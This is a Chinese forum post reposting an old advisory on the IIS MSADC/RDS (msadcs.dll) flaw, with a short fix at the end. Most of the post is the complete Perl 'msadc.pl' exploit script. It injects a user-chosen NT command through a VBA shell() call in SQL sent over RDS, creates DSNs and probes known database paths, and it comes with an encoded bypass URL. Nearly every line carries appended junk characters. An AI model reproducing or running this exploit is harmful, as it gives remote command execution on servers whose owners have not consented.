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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) %K|+4ZY3  
-McDNM  
涉及程序: j[y,Jc h  
Microsoft NT server v a j  
q&N1| f7  
描述: I&Y9  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 li Hz5<|  
p^ojhrr  
详细: CEr*VsvjsU  
如果你没有时间读详细内容的话,就删除: gm}[`GMU  
c:\Program Files\Common Files\System\Msadc\msadcs.dll o?\v 8.n  
有关的安全问题就没有了。 &*3O+$L  
a}#Jcy!e  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 !>Ru= $9  
nt*nTtcE  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 dl&402  
关于利用ODBC远程漏洞的描述,请参看: ]iL>Zxex  
C=|X]"*:u0  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H[KTM'n  
D%NVqk|  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Ko|p&-Z;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp R" '=^  
:k*3?*'K  
这里不再论述。 7y2-8e L  
L-v-KO6  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: fPLi8`r  
QN$Ac.F  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ]t|-  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 1}"PLq(  
x%\m/_5w%  
9?~K"+-SI  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 6V@?/B  
>UUT9:,plA  
#!perl L=9w 3VXS  
# Ivue"_i;!  
# MSADC/RDS 'usage' (aka exploit) script r=o\!sh[  
# +f- E8q  
# by rain.forest.puppy g =)djXW  
# AJ`R2 $  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me UAi]hUq  
# beta test and find errors! 540,A,>:tb  
-6./bB g  
use Socket; use Getopt::Std; 5o dtYI%L  
getopts("e:vd:h:XR", \%args); n :P5m9T  
jLLZZPBK  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; +S3r]D3v/  
{F~:8 6z(g  
if (!defined $args{h} && !defined $args{R}) { f<T"# G$5  
print qq~ 5QoU&Hv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4$=ATa;x-  
-h <host> = host you want to scan (ip or domain) bBC!fh!L"  
-d <seconds> = delay between calls, default 1 second UPI'O %  
-X = dump Index Server path table, if available D^%DYp  
-v = verbose V.k2t$@  
-e = external dictionary file for step 5 XK 09x1r  
l~v BA$,  
Or a -R will resume a command session D>~S-]  
6q!smM  
~; exit;} B1C"F-2d  
lx!9KQAM*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; cqyrao3;  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} :O(<3"P/  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} s[HQq;S  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); u(`,7 o "  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} O)4P)KAO<  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !ufSO9eDx"  
STxreW1  
if (!defined $args{R}){ $ret = &has_msadc; (Z72 3)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} u3>D vl@  
s{]2~Z^2od  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" V9"?}cR/W;  
. "cmd /c "; 1*>lYd8 _  
$in=<STDIN>; chomp $in; 5U3 b&0  
$command="cmd /c " . $in ; NpIx\\d  
1tNmiAu  
if (defined $args{R}) {&load; exit;} z&@Vg`w"  
ZrA OX'>u9  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; z'FJx2  
&try_btcustmr; 6*:mc  
b2Jgg&?G  
print "\nStep 2: Trying to make our own DSN..."; sP+ZE>7  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; HP /@ _qk  
uk(|c-_]~c  
print "\nStep 3: Trying known DSNs..."; @zHTKi`  
&known_dsn; pxs#OP  
%Z"I=;=nxI  
print "\nStep 4: Trying known .mdbs..."; #CaT0#v  
&known_mdb; y_=},a  
u\JYxNj1  
if (defined $args{e}){ MJ )aY2  
print "\nStep 5: Trying dictionary of DSN names..."; qrj:H4#VB  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Ak\w)!?s  
]qLro<  
print "Sorry Charley...maybe next time?\n"; :]viLw\&g  
exit; {'QA0K  
\2K_"5  
############################################################################## BZP~m=kq  
PJCRvs|X  
sub sendraw { # ripped and modded from whisker V_SZp8  
sleep($delay); # it's a DoS on the server! At least on mine... jd&kak  
my ($pstr)=@_; MMI7FlfY  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;DkX"X+  
die("Socket problems\n"); v/Z!Wp1LV  
if(connect(S,pack "SnA4x8",2,80,$target)){ .\?)O+J!  
select(S); $|=1; 2 P=c1;  
print $pstr; my @in=<S>; "[*W=6m0  
select(STDOUT); close(S); 1P'R-I  
return @in; OC[+t6  
} else { die("Can't connect...\n"); }} {y[T3(tt  
+])St3h  
############################################################################## qOV6Kh)  
pErre2fS  
sub make_header { # make the HTTP request c%|18dV  
my $msadc=<<EOT ;LBq!  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 tyH*epa nw  
User-Agent: ACTIVEDATA {=Y.Z1E:  
Host: $ip Ny.s u?E  
Content-Length: $clen m 8Q[+_:$H  
Connection: Keep-Alive "2}E ARa  
#^>5,M2  
ADCClientVersion:01.06 dh~+0FZ{A  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 tWNz:V  
C>?`1d@  
--!ADM!ROX!YOUR!WORLD! Rr#vv  
Content-Type: application/x-varg wuv2bd )+  
Content-Length: $reqlen %Q}T9%Mtj  
k lRS:\dW  
EOT K'`N(WiL  
; $msadc=~s/\n/\r\n/g; d`z),A=  
return $msadc;} O=HT3gp&  
.[ Z<r>  
##############################################################################  {ws:g![  
"v"w ER?  
sub make_req { # make the RDS request 483BrFV  
my ($switch, $p1, $p2)=@_; P(1 bd"Q  
my $req=""; my $t1, $t2, $query, $dsn; pMB~Lt9  
Sc<%$ Gd  
if ($switch==1){ # this is the btcustmr.mdb query >lo,0oG  
$query="Select * from Customers where City=" . make_shell(); H!D?;X  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . \` |*i$  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} a-t}L{~  
:\+;5Se+l  
elsif ($switch==2){ # this is general make table query Tn~b#-0  
$query="create table AZZ (B int, C varchar(10))"; 8h&Ed=gi  
$dsn="$p1";} Hd1e9Q,:|  
|kHPk)}I]  
elsif ($switch==3){ # this is general exploit table query _$+lyea   
$query="select * from AZZ where C=" . make_shell(); .}}w@NO  
$dsn="$p1";} FM c9oyU~  
USKa6<:{W  
elsif ($switch==4){ # attempt to hork file info from index server 2qb,bp1$  
$query="select path from scope()"; uqhNi!;  
$dsn="Provider=MSIDXS;";} g|W|>`>  
t\hvhcbL  
elsif ($switch==5){ # bad query \X=?+| 9  
$query="select"; Z2yZz:.'  
$dsn="$p1";} 6wzTX8  
X]?qns7  
$t1= make_unicode($query); !,mv 7Yj  
$t2= make_unicode($dsn);  1k5o?'3&  
$req = "\x02\x00\x03\x00"; u0;FQr2  
$req.= "\x08\x00" . pack ("S1", length($t1));  xZ*.@Pkr  
$req.= "\x00\x00" . $t1 ; Y5}<7s\UDO  
$req.= "\x08\x00" . pack ("S1", length($t2)); ( aGwe@AS  
$req.= "\x00\x00" . $t2 ; 1!@KRV  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; S$!)Uc\)A  
return $req;} ;NrN#<j( !  
g4BEo'  
############################################################################## edt(Zzk@3-  
A6APU><dm^  
sub make_shell { # this makes the shell() statement tN' -4<+  
return "'|shell(\"$command\")|'";} x"@Y[  
1D42+cy  
############################################################################## s2*^ PG  
&ACM:&Ob  
sub make_unicode { # quick little function to convert to unicode N798("  
my ($in)=@_; my $out; GW_@hYIqD  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } SBBDlr^P  
return $out;} 87P.K Yy  
lNcXBtwK@#  
############################################################################## OPp>z0p%6X  
VO|2  
sub rdo_success { # checks for RDO return success (this is kludge) /dU-$}>ZI  
my (@in) = @_; my $base=content_start(@in); 69U[kW&  
if($in[$base]=~/multipart\/mixed/){ q M( n]{H  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} k%iZ..  
return 0;} C:77~f-+rQ  
\:cr2w'c  
############################################################################## #>m#i1Nu  
S7cxEOfAu  
sub make_dsn { # this makes a DSN for us P +U=/$o  
my @drives=("c","d","e","f"); 26fbBt8nP  
print "\nMaking DSN: "; #C+""qm  
foreach $drive (@drives) { 0hTv0#j#  
print "$drive: "; TI{W(2O*  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . FFH9 $>A  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 2k,!P6fgl  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); FcnSO0G%  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )q?z "F|  
return 0 if $2 eq "404"; # not found/doesn't exist #!wL0 p  
if($2 eq "200") { ~ {sRK  
foreach $line (@results) { %m:T?![XO  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} \de82 4  
} return 0;} JzA`*X[  
IfHB+H   
############################################################################## /n= %#{  
,LjB%f[  
sub verify_exists { xP<cF  
my ($page)=@_; <Z^t^ O  
my @results=sendraw("GET $page HTTP/1.0\n\n"); w$~|/UrLf  
return $results[0];} s 2t'jIB  
gf `uC0  
############################################################################## &8R%W"<K  
g{&a|NU^  
sub try_btcustmr { H\tz"<*``  
my @drives=("c","d","e","f"); GdFTKOq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "]}+QK_  
ipB*]B F[  
foreach $dir (@dirs) { Las4ux[_  
print "$dir -> "; # fun status so you can see progress 6,j6,Q(67  
foreach $drive (@drives) { JO:40V?op  
print "$drive: "; # ditto k^3|A3A  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; `3!ERQU  
$reqlenlen=length( "$reqlen" ); 38IVSK_  
$clen= 206 + $reqlenlen + $reqlen; #t /.fd  
3%Jg' Tr+  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); d[+xLa  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} g>h5NrD N  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} jHPJk8@y  
"j5b$T0P>  
############################################################################## @q9uU9c  
&:g5+([<  
sub odbc_error { OczVObbS  
my (@in)=@_; my $base; j%R}  
my $base = content_start(@in); )--v> *,V  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ag*RQ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eR.ucTji  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m|<j9.iJ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jIx5_lFe  
return $in[$base+4].$in[$base+5].$in[$base+6];} X%7Y\|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; >jjuWO3T  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . @DYxxM-  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} @&;y0N1xo  
k~WX6rEJ  
############################################################################## T)Byws  
[xT2c.2__J  
sub verbose { noiUi>G;:  
my ($in)=@_; 6 flc  
return if !$verbose; {l= !  
print STDOUT "\n$in\n";} a%>p"4WL  
Uv,_VS(  
############################################################################## D'e'xU  
"=I ioY  
sub save { vS %r_gf(  
my ($p1, $p2, $p3, $p4)=@_; ;L.@4b[lP  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; bq3G3oAyG  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; :UmY|=v?t  
close OUT;} ye1kI~LO(  
is`Eqcj`dr  
############################################################################## iQpKcBx  
dxlaoyv:  
sub load { E 5PefD\m  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7-81,ADv(  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); HABMFv  
@p=<IN>; close(IN); -fu=RR  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); SesJg~8  
$target= inet_aton($ip) || die("inet_aton problems"); %RgCU$s[>  
print "Resuming to $ip ..."; c;l d  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; C.dN)?O  
if($p[1]==1) { P`wp`HI  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; w^09|k  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; T!eb=oy  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Jq)!)={  
if (rdo_success(@results)){print "Success!\n";} #imMkvx?  
else { print "failed\n"; verbose(odbc_error(@results));}} {,p<!Jq~G  
elsif ($p[1]==3){ 5DKR1z:  
if(run_query("$p[3]")){ b`E'MX_ m  
print "Success!\n";} else { print "failed\n"; }} 3e$&rpv  
elsif ($p[1]==4){ g9OO#C>  
if(run_query($drvst . "$p[3]")){ HgY"nrogt$  
print "Success!\n"; } else { print "failed\n"; }} o|G.tBpKg  
exit;} {'8a' 9\  
P X ?!R4S  
############################################################################## :|xV}  
lqe;lWC0Z  
sub create_table { )6dvWK  
my ($in)=@_; 6&7#?/Lq  
$reqlen=length( make_req(2,$in,"") ) - 28; n\ aG@X%oq  
$reqlenlen=length( "$reqlen" ); (u@p[ncN}  
$clen= 206 + $reqlenlen + $reqlen; `WHP#z  
my @results=sendraw(make_header() . make_req(2,$in,"")); T%K"^4k  
return 1 if rdo_success(@results); `V[{(&?,n  
my $temp= odbc_error(@results); verbose($temp); tv,iCV  
return 1 if $temp=~/Table 'AZZ' already exists/; u(\O  
return 0;} #kT3Sx  
rz0~W6 U  
############################################################################## +9>t; Ty  
gl-O"%rMcL  
sub known_dsn { 'l2'%@E>  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go _ v\=ag  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", MnUal}MO  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", n *|F=fl  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); z>+@pj   
lil1$K: i  
foreach $dSn (@dsns) { nE)?P*$3Z  
print "."; g9I2 e<;o  
next if (!is_access("DSN=$dSn")); "Q;n-fqf  
if(create_table("DSN=$dSn")){ N8;/Zd;^  
print "$dSn successful\n"; rmutw~nHD  
if(run_query("DSN=$dSn")){ !q!.OQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { fLl~a[(5  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ai[st+1  
"#^11o8  
############################################################################## 4Y8/>uL  
A?'Tigi  
sub is_access { 9r!psRA:`)  
my ($in)=@_; <<K GS  
$reqlen=length( make_req(5,$in,"") ) - 28; Ul7)CT2:  
$reqlenlen=length( "$reqlen" ); [5^"U+`{x  
$clen= 206 + $reqlenlen + $reqlen; d(zBd=;  
my @results=sendraw(make_header() . make_req(5,$in,"")); D_@WB.e L  
my $temp= odbc_error(@results); d4F3!*@(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); jV`xRjh  
return 0;} HYf&0LT<11  
0t ?:  
############################################################################## lpLjfHr  
z/aZD\[_  
sub run_query { !_)*L+7f_  
my ($in)=@_; n#,|C`2r  
$reqlen=length( make_req(3,$in,"") ) - 28; hl?G_%a  
$reqlenlen=length( "$reqlen" ); U7(84k\j  
$clen= 206 + $reqlenlen + $reqlen; rI)op1K  
my @results=sendraw(make_header() . make_req(3,$in,""));  Hrm^@3  
return 1 if rdo_success(@results); z/(^E8F  
my $temp= odbc_error(@results); verbose($temp); BXy g ?  
return 0;} Fu:VRul=5$  
h^ea V,x>=  
############################################################################## 9 m MPkgc  
^2}0lP|  
sub known_mdb { PJLSDIeN  
my @drives=("c","d","e","f","g"); DYkNP: +  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^@e4m O  
my $dir, $drive, $mdb; s0 hD;`cm  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; pTPWToKh  
I5PI;t+  
# this is sparse, because I don't know of many ZG>I[V'p=  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 3 4CqLPg8  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", rkh+$*t@i7  
"\\system32\\certmdb.mdb", H'Q4IRT  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 5%j !SVW  
LO0<=4iN(  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h-<2N)>!  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 0@ []l{N  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", oA`'~~!  
"\\cfusion\\cfapps\\security\\realm_.mdb", ys|a ^VnN  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", B B*]" gT  
"\\cfusion\\database\\cfexamples.mdb", wB~Ag$~  
"\\cfusion\\database\\cfsnippets.mdb", 4`Qu+&4J  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", $Kn{x!,"(  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 86$9)UI  
"\\cfusion\\brighttiger\\database\\cleam.mdb", M q;m+{B  
"\\cfusion\\database\\smpolicy.mdb", jFfuT9oId  
"\\cfusion\\database\cypress.mdb", V(n7hpS  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", qB PUB(  
"\\website\\cgi-win\\dbsample.mdb", ,,vl+Z <&  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", YNV4w{>FD  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" qV2aa9p+  
); #these are just B*#lkMr  
foreach $drive (@drives) { t=\y|Idc  
foreach $dir (@dirs){  oZTKG'  
foreach $mdb (@sysmdbs) { 45fk+#  
print "."; zX{K\yp  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ *T0{ yI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; [A99e`  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ib8@U}Vn1  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 7xidBVx  
} else { print "Something's borked. Use verbose next time\n"; }}}}} q_K8vGm4e  
A7,TM&  
foreach $drive (@drives) { *^+8_%;1  
foreach $mdb (@mdbs) { qELy'\  
print "."; k_$:?$  
if(create_table($drv . $drive . $dir . $mdb)){ }cuU5WQ?%  
print "\n" . $drive . $dir . $mdb . " successful\n"; `) s]T.-  
if(run_query($drv . $drive . $dir . $mdb)){ fH[Yc>(oj  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^y"5pf SR  
} else { print "Something's borked. Use verbose next time\n"; }}}} @%mJw u  
} Oo<L~7B  
 uaN0X"  
############################################################################## Obwj=_+upd  
-)_"7}|u5  
sub hork_idx { _GSl}\  
print "\nAttempting to dump Index Server tables...\n"; ,x#5.Koz  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; qBL >C\V +  
$reqlen=length( make_req(4,"","") ) - 28; #)hc^gIO&<  
$reqlenlen=length( "$reqlen" ); i Qs7L y"  
$clen= 206 + $reqlenlen + $reqlen; #5*|/LD  
my @results=sendraw2(make_header() . make_req(4,"","")); @*kQZRGK7  
if (rdo_success(@results)){ M-Gl".*f  
my $max=@results; my $c; my %d; Bbk=0+ ^8I  
for($c=19; $c<$max; $c++){ a(- ^ .w  
$results[$c]=~s/\x00//g; C{7 j<O  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; _qwKFC  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; eP6`"<UM  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /, T@/  
$d{"$1$2"}="";} uR#aO''  
foreach $c (keys %d){ print "$c\n"; } @}sxA9 a  
} else {print "Index server doesn't seem to be installed.\n"; }} eiE36+'>b  
8bT]NvCA  
############################################################################## Hxe!68{aR  
dJ~AMol  
sub dsn_dict { O~Eju  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); z2:^Qg  
while(<IN>){ +zM WIG  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 8XFs)1s[  
next if (!is_access("DSN=$dSn")); q^5j&jx Vl  
if(create_table("DSN=$dSn")){ Pyfj[m4+}  
print "$dSn successful\n"; >drG,v0qh  
if(run_query("DSN=$dSn")){ 701ei;   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { "`;$wA  
print "Something's borked. Use verbose next time\n";}}} ;VVKn=X=S=  
print "\n"; close(IN);} :5`=9 _|  
3 sUTdCnNf  
############################################################################## f'501MJu  
T \d-r#{  
sub sendraw2 { # ripped and modded from whisker oT9dMhx8  
sleep($delay); # it's a DoS on the server! At least on mine... 90ZMO7_  
my ($pstr)=@_; P_Rh& gkuK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || O2z{>\  
die("Socket problems\n"); Z{<&2*  
if(connect(S,pack "SnA4x8",2,80,$target)){ IpX.ube  
print "Connected. Getting data"; y>4r<Y ZQ  
open(OUT,">raw.out"); my @in; 1?k{jt~  
select(S); $|=1; print $pstr; PL*Mz(&bf  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} tCZ3n  
close(OUT); select(STDOUT); close(S); return @in; [1Cs  
} else { die("Can't connect...\n"); }} ry^FJyjW  
"9Q @&C  
############################################################################## OUoN  
y;oPg4  
sub content_start { # this will take in the server headers :zN{>,sC  
my (@in)=@_; my $c; XEK%\o}  
for ($c=1;$c<500;$c++) { T["(wPrt  
if($in[$c] =~/^\x0d\x0a/){ 8n_!WDD  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 954!ED|F(  
else { return $c+1; }}} B{x`^3q R  
return -1;} # it should never get here actually OQl7#`G!H%  
LBO3){=J  
############################################################################## cOz8YVR-  
yDmNPk/  
sub funky { W@"s~I6  
my (@in)=@_; my $error=odbc_error(@in); Fog4m=b`g  
if($error=~/ADO could not find the specified provider/){ Y8$Y]2  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; k&TZ   
exit;} q6R``  
if($error=~/A Handler is required/){ :!',o]"4,k  
print "\nServer has custom handler filters (they most likely are patched)\n"; K+2sq+ 3q  
exit;} 0^l)9zE  
if($error=~/specified Handler has denied Access/){ g" c|%3  
print "\nServer has custom handler filters (they most likely are patched)\n"; e+'PRVc  
exit;}} gXrXVv<)yw  
qIXo_H&\C  
############################################################################## ,# i@jB  
x}\_o< d  
sub has_msadc { 32#|BBY  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); M`_RkDmy<  
my $base=content_start(@results); Tf0"9  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); H rMH  
return 0;} Gcu[G]D  
}bkQr)us  
######################## Vp"=8p#k  
\L6kCY  
"e)C.#3  
解决方案: b-'T>1V  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll k&oq6!ix  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 F0Nl,9h('  
>VnBWa<j3  
拿出来充数 哈哈
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